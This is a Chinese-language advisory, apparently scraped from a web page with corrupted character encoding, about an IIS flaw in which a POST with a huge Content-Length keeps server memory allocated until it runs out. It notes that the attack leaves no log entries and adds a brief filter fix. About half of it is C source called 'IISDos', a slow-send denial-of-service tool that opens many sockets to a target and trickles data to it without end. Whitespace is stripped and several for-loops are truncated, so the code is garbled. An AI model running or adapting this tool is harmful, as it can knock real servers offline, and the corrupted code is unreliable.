漏洞描述:
在HTTP協(xié)議中,當(dāng)使用POST方法時,可以設(shè)置ContentLenth來定義需要傳送的數(shù)據(jù)長度,但是HTTP協(xié)議中并沒有對ContentLenth的大小進(jìn)行限制,這使得拒絕服務(wù)-內(nèi)存耗盡攻擊成為可能。
在IIS中,用戶POST數(shù)據(jù)時,系統(tǒng)先將用戶上傳的數(shù)據(jù)存放在內(nèi)存中,當(dāng)用戶完成數(shù)據(jù)傳送(數(shù)據(jù)的長度達(dá)到ContentLenth時),IIS再將這塊內(nèi)存交給特定的
文件或CGI處理;假如用戶POST非常大的數(shù)據(jù)(通過多次數(shù)據(jù)發(fā)送)例如ContentLenth:999999999,在傳送完成前,內(nèi)存不會釋放,攻擊者可以利用這個缺陷,連續(xù)向WEB服務(wù)器發(fā)送垃圾數(shù)據(jù)直至WEB服務(wù)器內(nèi)存耗盡。在Web服務(wù)器內(nèi)存不足的時候,我們可以明顯的看到系統(tǒng)速度下降、硬盤讀寫增多(緩存)等現(xiàn)象的出現(xiàn)。
值得注重的是,這種攻擊方法基本不會留下痕跡:
首先,由於數(shù)據(jù)傳送不會完成(只要ContentLenth足夠大,比如Content-Length:2147483647),所以IIS日無法記錄(IIS日是在操作完成後才記錄的)
其次,由於進(jìn)行的是正常的POST操作,而且數(shù)據(jù)是緩慢送入WEB服務(wù)器的,因此防火墻很難發(fā)現(xiàn)這樣的操作。(除非在防火墻上
對ContentLenth進(jìn)行監(jiān)測)
第三,這種攻擊對於攻擊者的主機(jī)來說幾乎沒有任何負(fù)荷,既不會消耗CPU更不會占用內(nèi)存,最多是占用了部分帶寬。
解決方法:
編寫相應(yīng)的Filter,對於過大的ContentLenth進(jìn)行過濾。
漏洞測試:
以下的程式可以測試你的服務(wù)器是否有ContentLenth漏洞:
//IISDoS
//ByShotgun
//shotgun@xici.net
voidIISDos()
{
intnet[2048],Counter=0,K=0,i,j;
strUCtsockaddr_insa;
charsend_data[1024]="POST/default.aspHTTP/1.1/nHost:xici.net/nContent-Type:text/Html/nContent-Length:
2147483647/n/r";
char*send_char;
WSADATAWSAData;
strncpy((char*)&sa,"",sizeofsa);
sa.sin_family=AF_INET;
sa.sin_port=htons(80);
sa.sin_addr.s_addr=inet_addr(Attack_ip);
send_char=(char*)malloc(sizeof(char));
for(i=0;i{
if((net[i]=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET)
{
exit(0);
}
if((connect(net[i],(structsockaddr*)&sa,sizeofsa))!=0)
{
printf("Connect%dfailed.ErrorCode:%d/n",i,GetLastError());
for(i=0;iWSACleanup();
exit(0);
}
if(send(net[i],send_data,sizeof(send_data),0)==SOCKET_ERROR)
{
printf("Sending%ddatatotheserverfailed1.ErrorCode:%d/n",i,GetLastError());
exit(0);
}
for(j=0;jif(send(net[i],"A",1,0)==SOCKET_ERROR)
{
printf("Sending%dKeepalivedatafailed.ErrorCode:%d/n",i,GetLastError());
exit(0);
}
Sleep(200);
}
while(1)
{
for(i=0;iif(send(net[i],"A",1,0)==SOCKET_ERROR)
{
printf("Sending%ddatafailed.ErrorCode:%d/n",i,GetLastError());
closesocket(net[i]);
WSACleanup();
exit(0);
}
else
{
Counter++;
if(Counter==1024)
{
Counter=0;
K++;
printf("%dKb",K);
}
Sleep(DelayTime);
}
}
for(i=0;iclosesocket(net[i]);
WSACleanup();
}
新聞熱點(diǎn)
疑難解答
圖片精選